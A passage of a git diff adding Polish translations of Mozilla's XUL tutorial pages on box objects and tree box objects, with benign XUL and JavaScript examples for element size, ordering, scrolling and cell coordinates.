+<p>Obiekty layout (rozmieszczenia) które będą stworzone są określane w bardziej złożone. Są używane różne fragmenty informacji takie jak nazwa znacznika, atrybuty elementu, różne właściwości CSS, elementy obiektów LAYOUT (rozmieszczenia) i XBL powiązany z elementem (<a href="/pl/Kurs_XUL/Wprowadzenie_do_XBL" title="pl/Kurs_XUL/Wprowadzenie_do_XBL">XBL został opisany w dalszej części kursu</a>). O ile nie zmienisz stylu dla elementu, większość elementów XUL zazwyczaj będą jako obiekty pola layout (rozmieszczenia) lub jednego z jego podtypów. Przypomnij sobie, że elementy XUL są typu pola, to znaczy, pole jest podstawą dla wyświetlania wszystkich elementów XUL. Jednakże jest kilka podtypów, około 25 lub więcej, dla określonych elementów XUL.</p>
+
+<p><span class="comment">The layout objects that will be created are determined in a more complex manner. Various pieces of information are used such as the tag name, the attributes on an element, various <a href="/pl/CSS">CSS</a> properties, the elements and layout objects around the element, and the XBL associated with an element (<a href="/pl/XUL_Tutorial/Introduction_to_XBL">XBL is described in a later section</a>). Unless you change the style for an element, most XUL elements will usually use the box layout object or one of its subtypes. Recall that all XUL elements are types of boxes, that is the box is the base of all displayed XUL elements. However, there are a number of subtypes, about 25 or so, for specific XUL elements. Some of these subtypes, such as the <code><a href="/pl/docs/Mozilla/Tech/XUL/stack" title="stack">stack</a></code> or <code><a href="/pl/docs/Mozilla/Tech/XUL/listbox" title="listbox">listbox</a></code> are needed for more complex layouts than the basic box, while others such as the button are used only to add extra mouse and key event handling.</span></p>
+
+<p>Niektóre z tych podtypów, takie jak <code><a href="/pl/docs/Mozilla/Tech/XUL/stack" title="stack">stack</a></code> or <code><a href="/pl/docs/Mozilla/Tech/XUL/listbox" title="listbox">listbox</a></code> są bardziej potrzebne dla złożonych layouts niż podstawowe pole, podczas gdy pozostałe takie jak przycisk są używane tylko do dodania dodatkowego programu obsługi zdarzeń myszy i klawisza.</p>
+
+<p>Obiekt layout (rozmieszczenia) powiązany z elementem może zostać usunięty a całkowicie inny typ obiektu stworzony przez zmianę właściwości <code>display</code> CSS, pośród innych. Na przykład zmiana właściwości wyświetlania elementu przycisku na <code>block</code> spowoduje, że obiekt layout (rozmieszczenia) przycisku będzie usunięty a zamiast tego stworzony zostanie obiekt <code>block</code>. Naturalnie, zmieni to wygląd i funkcję elementu</p>
+
+<p>Nie jest koniecznym znać szczegóły tego jak obiekty layout (rozmieszczenia) są skonstruowane ale jest całkiem użytecznym posiadać przynajmniej trochę wiedzy na temat tego co jest napisane o XUL dla projektantów XUL bardziej zaawansowanych.</p>
+
+<p><span class="comment">The layout object associated with an element can be removed and a completely different type of object created just by changing the CSS &lt;code&gt;display&lt;/code&gt; property, among others. For example changing the display property of a button element to &lt;code&gt;block&lt;/code&gt; will cause the button layout object to be deleted and a block object to be created instead. Naturally, this will change the appearance and function of the element. It isn't necessary to know the details of how the layout objects are constructed but it is quite useful to at least have at least the knowledge of what is described above of XUL layout for more advanced XUL development.</span></p>
+
+<h2 id="Obiekty_pude.C5.82ka" name="Obiekty_pude.C5.82ka">Obiekty pudełka</h2>
+
+<p>Obiekty layout nie są dostępne do manipulowania przez projektantów. Są one wewnętrznymi komponentami layout XUL. Jednakże, XUL dostarcza pewnych pomocnych obiektów, nazywanych obiektami pola, które mogą dostarczać pewnych powiązanych informacji layout. jak implikuje nazwa, są one dostępne dla wszystkich elementów opartych o pola.</p>
+
+<p>Jest kilka podtypów obiektu pola, chociaż generalnie jest używanych tylko parę z nich. Pozostałe mają funkcje które są łatwiej dostępne poprzez metody odwzorowane bezpośrednio do elementu, ponieważ te typy są generalnie używane tylko z określonym elementem. Podstawowy obiekt pola, lub interfejs <a class="external" href="http://www.xulplanet.com/references/objref/BoxObject.html">BoxObject</a>, ma jednak kilka właściwości które są użyteczne dla projektantów XUL.</p>
+
+<p>Podstawowy obiekt pola ma dwie pożyteczne cechy. Po pierwsze możesz wyszukać pozycję i rozmiar elementu XUL jaki wyświetlasz a po drugie możesz określić porządek elementów w polu jakie wyświetlasz, zamiast porządku w jakim są przechowywane w DOM.</p>
+
+<h3 id="Retrieving_Position_and_Size" name="Retrieving_Position_and_Size">Retrieving Position and Size</h3>
+
+<p>Obiekt pola dostarcza czterech właściwości, x, y, width, height, dla określenia pozycji i rozmiaru elementu. Współrzędne x i y są związane z lewym górnym rogiem dokumentu w oknie (wyłączając brzeg okna i pasek tytułowy) i są mierzone w pikselach. Własność width i height również są mierzone w pikselach a zawracają one szerokość i wysokość elementu obejmując wypełnianie i brzeg.</p>
+
+<p>Te wartości są zawsze pozycją i rozmiarem aktualnego wyświetlania, więc te wartości będą się różniły jeśli element jest przesuwany lun zmieniany jest jego rozmiar. Na przykład, elastyczny element będzie zmieniał swój rozmiar, a obiekt pola będzie aktualizował odpowiednio swoje wymiary. Pokazuje to poniższy przykład</p>
+
+<p><span id="Przyk%C5%82ad_1"><a id="Przyk%C5%82ad_1"></a><strong>Przykład 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxobject_1.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxobject_1.xul">Podgląd</a></p>
+
+<pre>&lt;button label="Click Me"
+ oncommand="alert('The width is ' + this.boxObject.width);"/&gt;
+</pre>
+
+<p>Możesz użyć atrybutów <code>width</code> i <code>height</code> do określenia, odpowiednio, szerokości i wysokości elementu. Normalnie, atrybuty te nie będą używane więc ten element określałby odpowiedni rozmiar do odpowiedniej jego zawartości. A zatem, atrybuty te zastępują domyślny rozmiar i stosują określony rozmiar. Odpowiednie własności <code>width</code> i <code>height</code>, mogą być używane do modyfikacji wymiarów elementu w dowolnym czasie, jeśli życzysz sobie wyświetlać element o określonym rozmiarze. Pobranie wartości tych właściwości zwróci rozmiar jeśli został wyraźnie określony. Zauważ że te właściwości będą zwracać pusty łańcuch jeśli atrybuty szerokości i wysokości lub właściwości nie zostały już ustawione. To znaczy, nie możesz pobrać aktualnego rozmiaru z tych właściwości; zamiast tego musisz użyć właściwości obiektu pola.</p>
+
+<p>Może to być trochę mylące, ale KEY pamięta, że własności <code>width</code> i <code>height</code> elementu zwracają rozmiar, jaki został ustawiony w XUL podczas gdy własności <code>width</code> i <code>height</code> obiektu pola zawracają bieżący rozmiar.</p>
+
+<h3 id="Hidden_or_Collapsed_Element" name="Hidden_or_Collapsed_Element">Hidden or Collapsed Element</h3>
+
+<p>Atrybut <code>hidden</code> ukryje element tak ,że nie będzie wyświetlany. Ponieważ nie jest wyświetlany, wszystkie cztery właściwości pozycji i rozmiaru obiektu pola będą miały wartość 0. Kiedy element jest ukryty, jest usuwany z ekranu a obiekty layout (rozmieszczania) są również z niego usuwane. A zatem, ponieważ nie jest nigdzie wyświetlany, nie będzie miał ani pozycji ani rozmiaru.</p>
+
+<p>Atrybut <code>collapsed</code> będzie miał taki sam wpływ na wizualizację elementu użytkownika, z wyjątkiem tego, że pozostawi element na ekranie i pozostawia obiekty layout (rozmieszczenia) nietknięte, ale zmienia rozmiar elementu na 0. Oznacza to ,że zarówno elementy hidden i collapsed mają zerową szerokość i wysokość, elementy ukryte mają pozycję x i y również 0, podczas gdy elementy zwinięte zachowają swoją pozycję w oknie.</p>
+
+<p>Dla wyszukania lub modyfikacji stanu ukrycia lub zwinięcia użyj odpowiednich własności jak w poniższym przykładzie.</p>
+
+<p><span id="Przyk%C5%82ad_2"><a id="Przyk%C5%82ad_2"></a><strong>Przykład 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxobject_2.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxobject_2.xul">Podgląd</a></p>
+
+<pre>&lt;script&gt;
+function showPositionAndSize()
+{
+ var labelbox = document.getElementById('thelabel').boxObject;
+
+ alert("Position is (" + labelbox.x + "," + labelbox.y +
+ ") and size is (" + labelbox.width + "," +
+ labelbox.height + ")");
+}
+&lt;/script&gt;
+
+&lt;button label="Hide"
+ oncommand="document.getElementById('thelabel').hidden = true;"/&gt;
+&lt;button label="Show"
+ oncommand="document.getElementById('thelabel').hidden = false;"/&gt;
+&lt;button label="Collapse"
+ oncommand="document.getElementById('thelabel').collapsed = true;"/&gt;
+&lt;button label="Uncollapse"
+ oncommand="document.getElementById('thelabel').collapsed = false;"/&gt;
+&lt;button label="Show Position/Size"
+ oncommand="showPositionAndSize();"/&gt;
+&lt;label id="thelabel" value="I am a label"/&gt;
+</pre>
+
+<p>Zauważ, że jeśli ukryjesz lub zwiniesz etykietę, będzie ona traktowana jako ukryta. Będziesz musiał potem odkryć i rozwinąć etykietę aby mogła pojawić się ponownie.</p>
+
+<h2 id="Porz.C4.85dkowane_element.C3.B3w_XUL" name="Porz.C4.85dkowane_element.C3.B3w_XUL">Porządkowane elementów XUL</h2>
+
+<p>Obiekt pola może być również użyty dla określania wyświetlania porządku elementów, który może nie być taki sam jak w źródle. Przypomnij sobie ,że właściwości DOM takie, jak <code><a href="/pl/DOM/element.childNodes" title="pl/DOM/element.childNodes">childNodes</a></code>, <code><a href="/pl/DOM/element.firstChild" title="pl/DOM/element.firstChild">firstChild</a></code>, and <code><a href="/pl/DOM/element.nextSibling" title="pl/DOM/element.nextSibling">nextSibling</a></code> mogą być użyte do nawigowania po drzewie dokumentu. Obiekt pola pozwala również nawigować w podobny sposób ale wyszukuje elementy w kolejności wyświetlania.</p>
+
+<p>Obiekt pola dostarcza kilku własności <code>firstChild</code>, <code>lastChild</code>, <code>nextSibling</code>, <code>previousSibling</code> i <code>parentBox</code>. Funkcje te powinny być samo wyjaśniające przez swoje nazwy. Właściwości te zwracają elementy, na przykład, własność firstChild zwraca pierwszy wyświetlany element potomny. Nie ma odpowiedniej właściwości childNodes dla pola nawigacyjnego; zamiast tego musisz nawigować przez siostrzane właściwości <code>nextSibling</code> lub <code>previousSibling</code>.</p>
+
+<p>W odróżnieniu od nawigowania przez drzewo DOM, elementy ukryte nie są obejmowane kiedy nawigujemy przez obiekty pola. Oznacza to, że dla pola z sześcioma elementami potomnymi gdzie pierwsze dwa są ukryte, właściwość <code>firstChild</code> zwróci trzeci element. Jednak elementy zwinięte są objęte ponieważ są jeszcze wyświetlane ale nie maja rozmiaru. Na przykład kolejnym siostrzanym polem przycisku 1, w kolejnym przykładzie, będzie przycisk 3 ponieważ przycisk 2 jest ukryty. Ale kolejnym siostrzanym polem dla przycisku 3 będzie przycisk 4 ponieważ jest on tylko zwinięty.</p>
+
+<p><span id="Przyk%C5%82ad_3"><a id="Przyk%C5%82ad_3"></a><strong>Przykład 3</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxobject_3.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxobject_3.xul">Podgląd</a></p>
+
+<pre>&lt;hbox&gt;
+ &lt;button label="Button 1"
+ oncommand="alert('Next is: ' + this.boxObject.nextSibling.label);"/&gt;
+ &lt;button label="Button 2" hidden="true"/&gt;
+ &lt;button label="Button 3"
+ oncommand="alert('Next is: ' + this.boxObject.nextSibling.label);"/&gt;
+ &lt;button label="Button 4" collapsed="true"/&gt;
+&lt;/hbox&gt;
+</pre>
+
+<h3 id="Box_Ordering_Attributes" name="Box_Ordering_Attributes">Box Ordering Attributes</h3>
+
+<p>Kiedy pole XUL jest wystawione w oknie, elementy są uporządkowane według kilku własności, na przykład orientacji, ich grupy porządkowej i ich kierunku.</p>
+
+<h5 id="Atrybut_orient" name="Atrybut_orient">Atrybut <code>orient</code></h5>
+
+<p>Orientacja jest zwykle modyfikowana przez atrybuty <code>orient</code>. jest również odpowiednia właściwość CSS <code><a href="/pl/CSS/-moz-box-orient" title="pl/CSS/-moz-box-orient">-moz-box-orient</a></code>, która może być używa w zastępstwie, w zależności od sytuacji. Atrybut ten był wyjaśniany wcześniej w tym rozdziale o polach.</p>
+
+<h5 id="Atrybut_ordinal" name="Atrybut_ordinal">Atrybut <code>ordinal</code></h5>
+
+<p>Atrybut <code>ordinal</code> elementu może być zastosowany do określenia grupy porządkowej tego elementu, lub możesz użyć właściwości CSS <code><a href="/pl/CSS/-moz-box-ordinal-group" title="pl/CSS/-moz-box-ordinal-group">-moz-box-ordinal-group</a></code>.</p>
+
+<p>Elementy z niższymi wartościami porządkowymi są umieszczone w polu przed elementami z wyższymi wartościami porządkowymi. Na przykład jeśli jedne element ma liczbę porządkową 2, będzie umieszczony przed elementem z liczbą porządkową 3 lub wyższą ale po elemencie z liczbą porządkową 1. Wartością domyślną, jeśli nie został określony porządek, jest 1. Oznacza to ze jeśli chcesz zmienić porządek wyświetlania elementów, często będziesz potrzebował modyfikacji liczb porządkowych kilku elementów.</p>
+
+<p>Modyfikacja liczby porządkowej nie jest wykonywana powszechnie ponieważ zazwyczaj elementy są umieszczone w różnym porządku w źródle. Może być użyta do przestawienia później pozycji bez modyfikowania DOM. Demonstruje to poniższy przykład.</p>
+
+<p><span id="Przyk%C5%82ad_4"><a id="Przyk%C5%82ad_4"></a><strong>Przykład 4</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxobject_4.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxobject_4.xul">Podgląd</a></p>
+
+<pre>&lt;hbox&gt;
+ &lt;button label="One" oncommand="this.ordinal++;"/&gt;
+ &lt;button label="Two" oncommand="this.ordinal++;"/&gt;
+ &lt;button label="Three" oncommand="this.ordinal++;"/&gt;
+&lt;/hbox&gt;
+</pre>
+
+<p>Jeśli naciśniesz pierwszy przycisk, jego liczb porządkowa zwiększy się o jeden, z 1 do 2. Pojawi się na końcu wiersza ponieważ inne przyciski maja liczbę porządkową 1. Jeśli naciśniesz drugi przycisk, jego liczba porządkowa zwiększy się o jeden i będzie przeniesiony na koniec wiersza. Pozycje z tą samą wartością porządkową pojawią się w tym samym porządku jak w źródle. Jeśli potem naciśniesz ponowie przycisk oznaczony One, jego liczba porządkową zwiększy się do 3 i zostanie przeniesiony na koniec. W końcu, naciśnięcie przycisku oznaczonego Three zwiększy jego liczbę porządkową na 2 i pojawi się pomiędzy pozostałymi dwoma przyciskami.</p>
+
+<h5 id="Atrybut_dir" name="Atrybut_dir">Atrybut <code>dir</code></h5>
+
+<p>Końcowym atrybutem porządkowym pola jest atrybut <code>dir</code>, lub właściwość <code><a href="/pl/CSS/-moz-box-direction" title="pl/CSS/-moz-box-direction">-moz-box-direction</a></code> CSS. Jeśli jest ustawiony na <code>reverse</code>, wszystkie elementy potomne w polu lub wyświetlane, są w odwróconym porządku. W polu poziomym, elementy będą wyświetlane od prawej do lewej a w polu pionowym, elementy będą wyświetlane od dołu do góry. Tu mamy przykład:</p>
+
+<p><span id="Przyk%C5%82ad_5"><a id="Przyk%C5%82ad_5"></a><strong>Przykład 5</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxobject_5.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxobject_5.xul">Podgląd</a></p>
+
+<pre>&lt;hbox dir="reverse"&gt;
+ &lt;button label="Left"/&gt;
+ &lt;button label="Center"/&gt;
+ &lt;button label="Right"/&gt;
+&lt;/hbox&gt;
+</pre>
+
+<p>Nawigowanie przez nodes (węzły) używając porządkowania obiektu pola zwróci elementy w kolejności w jakiej są wyświetlane stanowiąc o porządku tworzenia regulacji. Zatem, jeśli zmienisz liczbę porządkową elementu, będzie on miał inną pozycję w porządku pola. Odwrócenie kierunku jednak nie zmienia porządku pola.</p>
+
+<p>Następnie dowiemy się <a href="/pl/Kurs_XUL/Interfejsy_XPCOM" title="pl/Kurs_XUL/Interfejsy_XPCOM">jak stosujemy obiekty XPCOM</a> z XUL i skryptami.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Manipulowanie_listami" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Interfejsy_XPCOM">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/obiekty_pudełkowe_drzewa/index.html b/files/pl/mozilla/tech/xul/kurs_xul/obiekty_pudełkowe_drzewa/index.html
new file mode 100644
index 0000000000..38c5f9ebdf
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/obiekty_pudełkowe_drzewa/index.html
@@ -0,0 +1,189 @@
+---
+title: Obiekty pudełkowe drzewa
+slug: Mozilla/Tech/XUL/Kurs_XUL/Obiekty_pudełkowe_drzewa
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Tree_Box_Objects
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Szczegóły_widoku_drzewa" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Wprowadzenie_do_RDF">Następny »</a></p>
+</div><p></p>
+
+<p>W tym artykule opisane będą elementy okna drzewa, odpowiedzialne za to jak drzewo wygląda.</p>
+
+<h2 id="O_obiektach" name="O_obiektach">O obiektach</h2>
+
+<p>Obiekty okna były opisane we <a href="pl/Kurs_XUL/Szczeg%c3%b3%c5%82y_widoku_drzewa">wcześniejszym artykule</a>. Obiekty okna drzewa, specjalnym rodzajem przeznaczony dla drzew. Okno drzewa wdrąża interfejs <a class="external" href="http://www.xulplanet.com/references/objref/TreeBoxObject.html">TreeBoxObject</a>.</p>
+
+<h3 id="Przerysowywanie_drzewa" name="Przerysowywanie_drzewa">Przerysowywanie drzewa</h3>
+
+<p>Poznaliśmy już <code>rowCountChanged()</code>, funkcję okna drzewa. Jest używana, żeby wykazać, że jeden lub więcej wierszy było dodanych lub usuniętych. Drzewo przerysuje dany obszar. Nie musisz wywoływać tej funkcji, gdy wiersz został nieznacznie zmieniony, tzn. zmieniona została etykieta komórki. A takim przypadku lepiej wywołać prostszą funkcję <code>invalidateRow()</code> w celu przerysowania pojedynczego wiersza. Drzewo wywoła widok, by dodać uaktualnienie a następnie zaktualizuje zawartość ekranu.</p>
+
+<p>Inne przerysowujące funkcje to:</p>
+
+<ul>
+ <li><code>invalidateCell()</code> do przerysowywania pojedynczych komórek,</li>
+ <li><code>invalidateColumn()</code> przerysowuje kolumny,</li>
+ <li><code>invalidateRange()</code> przerysowuje obszar wierszy,</li>
+ <li><code>invalidate()</code> przerysowuje the entire tree.</li>
+</ul>
+
+<p>Zauważ, że przerysowanie nie nastąpi do momentu, aż Mozilla nie przerysuje tego w tle.</p>
+
+<h3 id="Przewijanie_drzewa" name="Przewijanie_drzewa">Przewijanie drzewa</h3>
+
+<p>Możesz przewijać drzewo używając różnych metod, podobnych do tych z pól listy. Funkcja scrollToRow może być użyta do przewinięcia konkretnego rzędu. Oto prosty przykład:</p>
+
+<p><span id="Przyk%C5%82ad_1"><a id="Przyk%C5%82ad_1"></a><strong>Przykład 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_treeboxobject_1.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_treeboxobject_1.xul">Podgląd</a></p>
+
+<pre>&lt;script&gt;
+function doScroll(){
+ var value = document.getElementById("tbox").value;
+ var tree = document.getElementById("thetree");
+
+ var boxobject = tree.boxObject;
+ boxobject.QueryInterface(Components.interfaces.nsITreeBoxObject);
+ boxobject.scrollToRow(value);
+}
+&lt;/script&gt;
+
+&lt;tree id="thetree" rows="4"&gt;
+ &lt;treecols&gt;
+ &lt;treecol id="row" label="Row" primary="true" flex="1"/&gt;
+ &lt;/treecols&gt;
+ &lt;treechildren&gt;
+ &lt;treeitem label="Row 0"/&gt;
+ &lt;treeitem label="Row 1"/&gt;
+ &lt;treeitem label="Row 2"/&gt;
+ &lt;treeitem label="Row 3"/&gt;
+ &lt;treeitem label="Row 4"/&gt;
+ &lt;treeitem label="Row 5"/&gt;
+ &lt;treeitem label="Row 6"/&gt;
+ &lt;treeitem label="Row 7"/&gt;
+ &lt;treeitem label="Row 8"/&gt;
+ &lt;treeitem label="Row 9"/&gt;
+ &lt;/treechildren&gt;
+&lt;/tree&gt;
+
+&lt;hbox align="center"&gt;
+ &lt;label value="Scroll to row:"/&gt;
+ &lt;textbox id="tbox"/&gt;
+ &lt;button label="Scroll" oncommand="doScroll();"/&gt;
+&lt;/hbox&gt;
+</pre>
+
+<p>Zauważ, że używamy atrybutów wierszy <code><code><a href="/pl/docs/Mozilla/Tech/XUL/tree" title="tree">tree</a></code></code> żeby wyszczególnić, że tylko cztery wiersze są pokazane jednocześnie. To czyni przykład prostszym, w dostrzeżeniu jak pracuje. Zauważ też, że pierwszym wierszem jest 0.</p>
+
+<p>Funkcja <code>doScroll()</code> pobiera obiekt okna i wywołuje funkcję <code>scrollToRow()</code> z argumentem ustawionym na wartość textbox. Zauważ, że obiekt okna drzewa może być odzyskany tą samą drogą jak obiekty okna używające własności <a class="external" href="http://www.xulplanet.com/references/objref/BoxObject.html">boxObject</a>, jednak musimy wywołać <code>QueryInterface()</code>, by przenieść obiekt okna do bardziej wyspecjalizowanego obiektu okna drzewa. Ogólne funkcje obiektów okien są także dostępne dla drzew.</p>
+
+<p>Dodatkowe metody przewijania dają funkcje <code>scrollByLines()</code>, <code>scrollByPages()</code> i <code>ensureRowIsVisible()</code>. <code>scrollByLines()</code> przewija w dół lub w górę o pewna liczbę wierszy. Użyj dodatnich liczb by przewinąć w dół, a ujemnych w górę. Funkcja <code>scrollByPages()</code> przewija o pewna liczbę stron i jest automatycznie wywoływana, gdy użytkownik wciska klawisze PAGE UP i PAGE DOWN, gdy drzewo jest wybrane. Strona jest równoważna liczbie widzianych wierszy. Liczbę wierszy nie jest trudno obliczyć, funkcja <code>getPageLength()</code> zwraca liczbę wierszy na stronie. W przykładzie zwróciła być cztery.</p>
+
+<div class="note">
+<p>Zauważ, ze w Firefox 1.0 i Mozilla 1.7 i wcześniejszych, funkcja <code>getPageLength()</code> jest wywoływana zamiast <code>getPageCount()</code>. Nazwa została zmieniona, ponieważ była mylnie interpretowana, że zwraca liczbę stron, a nie rozmiar. Można określić także liczbę stron, dzieląc liczbę wierszy, przez liczbę wierszy na stronę.</p>
+</div>
+
+<p>Funkcja <code>ensureRowIsVisible()</code> przewinie do rzędu tak, jak <code>scrollToRow()</code>, ale nie w przypadku, gdy wiersz jest już widoczny.</p>
+
+<h2 id="Wsp.C3.B3.C5.82rz.C4.99dne_kom.C3.B3rki" name="Wsp.C3.B3.C5.82rz.C4.99dne_kom.C3.B3rki">Współrzędne komórki</h2>
+
+<p>Kilka z najbardziej interesujących funkcji obiektów okna drzewa, mogą być użyte w celu otrzymania niektórych elementów drzewa.</p>
+
+<ul>
+ <li>Funkcja <code>getCellAt()</code>może być użyta do otrzymania komórki przy określonej lokalizacji piksela, podczas gdy getRowAt służy do uzyskania wiersz przy danej lokalizacji.</li>
+ <li>Funkcja <code>getRowAt()</code> może służyć do pobierania wiersza w określonej lokalizacji. Funkcja <code>getRowAt()</code> pobiera dwa argumenty, współrzędną x i y.</li>
+</ul>
+
+<pre>tree.boxObject.getRowAt( 50, 100 );
+</pre>
+
+<p>Ten przykład zwróci indeks wiersza, z poziomą pozycją 50, a pionową 100. Jedną ważna rzeczą jest to, że współrzędne mierzone jest od górnego, lewego rogu dokumentu, a nie krawędzi drzewa.</p>
+
+<div class="note">One important thing to note is that the coordinates are measured from the upper left corner of the containing document, not the edge of the tree itself.</div>
+
+<p>To czyni łatwiejszym przekazanie współrzędnych do funkcji, jak jest przedstawione na przykładzie funkcji <code>getCellAt()</code>.</p>
+
+<p><span id="Przyk%C5%82ad_2"><a id="Przyk%C5%82ad_2"></a><strong>Przykład 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_treeboxobject_2.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_treeboxobject_2.xul">Podgląd</a></p>
+
+<pre>&lt;script&gt;
+function updateFields(event){
+ var row = {}, column = {}, part = {};
+ var tree = document.getElementById("thetree");
+
+ var boxobject = tree.boxObject;
+ boxobject.QueryInterface(Components.interfaces.nsITreeBoxObject);
+ boxobject.getCellAt(event.clientX, event.clientY, row, column, part);
+
+ if (column.value &amp;&amp; typeof column.value != "string")
+ column.value = column.value.id;
+
+ document.getElementById("row").value = row.value;
+ document.getElementById("column").value = column.value;
+ document.getElementById("part").value = part.value;
+}
+&lt;/script&gt;
+
+&lt;tree id="thetree" flex="1" onmousemove="updateFields(event);"&gt;
+ &lt;treecols&gt;
+ &lt;treecol id="utensil" label="Utensil" primary="true" flex="1"/&gt;
+ &lt;treecol id="count" label="Count" flex="1"/&gt;
+ &lt;/treecols&gt;
+ &lt;treechildren&gt;
+ &lt;treeitem&gt;
+ &lt;treerow&gt;
+ &lt;treecell label="Fork"/&gt;
+ &lt;treecell label="5"/&gt;
+ &lt;/treerow&gt;
+ &lt;/treeitem&gt;
+ &lt;treeitem&gt;
+ &lt;treerow&gt;
+ &lt;treecell label="Knife"/&gt;
+ &lt;treecell label="2"/&gt;
+ &lt;/treerow&gt;
+ &lt;/treeitem&gt;
+ &lt;treeitem&gt;
+ &lt;treerow&gt;
+ &lt;treecell label="Spoon"/&gt;
+ &lt;treecell label="8"/&gt;
+ &lt;/treerow&gt;
+ &lt;/treeitem&gt;
+ &lt;/treechildren&gt;
+&lt;/tree&gt;
+
+&lt;label value="Row:"/&gt;
+&lt;label id="row"/&gt;
+&lt;label value="Column:"/&gt;
+&lt;label id="column"/&gt;
+&lt;label value="Child Type:"/&gt;
+&lt;label id="part"/&gt;
+</pre>
+
+<p>Funkcja <code>getCellAt()</code> pobiera pięć argumentów, współrzędne i trzy inne argumenty. Pozostałe parametry są użyte dla funkcji żeby zwrócić więcej niż jedna wartość. Zobaczysz pewną liczbę interfejsów, które używają pozostałych parametrów w odniesieniu do <a class="external" href="http://www.xulplanet.com/references/objref/">obiektu XUL-a</a>. Są one wskazane przez słowo ‘out’ przed argumentem. Dla nich, będziesz potrzebować dostarczyć pusty obiekt i funkcja zapełni własność ‘value’ konieczną wartością.</p>
+
+<p>Trzy parametry będą zapełnione wierszem, kolumną i typem pochodnej pozycji. Wiersz jest indeksem wiersza pod kursorem myszy, ponieważ nazywamy ją współrzędnymi znaczenia <code>mousemove</code>. Jeżeli współrzędna nie jest ponad wierszem, wartość wiersza będzie ustawiona na -1. Kolumna jest obiektem kolumny Mozilla 1.8 i późniejszej. We wcześniejszych wersjach kolumny są identyfikowane przez id kolumny. W późniejszych wersjach istnieje oddzielny obiekt kolumny, który może być zapytany o dane kolumny.</p>
+
+<p>Następująca linia jest użyta tak, że przykład zadziała na wszystkich wersjach.</p>
+
+<pre>if (column.value &amp;&amp; typeof column.value != "string")
+ column.value = column.value.id;
+</pre>
+
+<p>Jeżeli kolumna jest ciągiem znaków, używamy Mozilla 1.7 lub wcześniejszej, ale dla wersji późniejszych uzyskujemy id kolumny z obiektu kolumny. Jeżeli tworzysz kod dla wielorakich wersji, powinieneś sprawdzić ten powyżej.</p>
+
+<p>Ostatni argument dla <code>getCellAt()</code> pochodna pozycji wypisze, które pole jest zapełnione ciągiem znaków zależnym od tego, przy której części komórki jest współrzędna. Jeżeli poruszasz myszą dookoła powyższego przykładu, możesz zauważyć, że etykieta zmienia się pomiędzy ‘text’ i ‘cell’. Wartość ‘text’ wskazuje miejsce gdzie tekst mógłby być umieszczony, a cell wskazuje obszar dookoła tekstu. Ostateczną wartością może być ‘image’, jeżeli obraz znajduje się w komórce drzewa, a współrzędna jest odpowiednia dla miejsca gdzie znajduje się obraz.</p>
+
+<p>W celu odwrócenia tego, czyli uzyskania komórki dla danej współrzędnej, użyj funkcji <code>getCoordsForCellItem()</code>. Pobiera ona siedem argumentów jak opisane poniżej.</p>
+
+<pre>var x = {}, y = {}, width = {}, height = {};
+if (typeof tree.columns != "undefined") column = tree.columns[column];
+tree.boxObject.getCoordsForCellItem( row, column, part, x, y, width, height );
+</pre>
+
+<p>Wiersz, kolumna, I cześć argumentów, podobnych do tych zwróconych z funkcji <code>getCellAt()</code>. Znowu kolumna powinna być ciągiem znaków lub obiektem kolumny, zależnie od tego, której wersji używasz. Typ części komórki może być użyty do otrzymania współrzędnych tekstu, całej komórki, krętki lub obrazu w komórce. Te same wartości jak używa funkcja <code>getCellAt()</code>. Funkcja <code>getCoordsForCellItem()</code> zwraca współrzędne x i y, jako parametry wyjściowe.</p>
+
+<p>Następnie, zobaczymy RDF, który może zostać użyty do automatycznego rozmieszczenia drzew i innych elementów.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Szczegóły_widoku_drzewa" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Wprowadzenie_do_RDF">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/okna_otwierania_i_zapisywania_plików/index.html b/files/pl/mozilla/tech/xul/kurs_xul/okna_otwierania_i_zapisywania_plików/index.html
new file mode 100644
index 0000000000..4135880c83
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/okna_otwierania_i_zapisywania_plików/index.html
@@ -0,0 +1,95 @@
+---
+title: Okna otwierania i zapisywania plików
+slug: Mozilla/Tech/XUL/Kurs_XUL/Okna_otwierania_i_zapisywania_plików
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Open_and_Save_Dialogs
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Tworzenie_okien_dialogowych" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Tworzenie_kreatora">Następny »</a></p>
+</div><p></p>
+
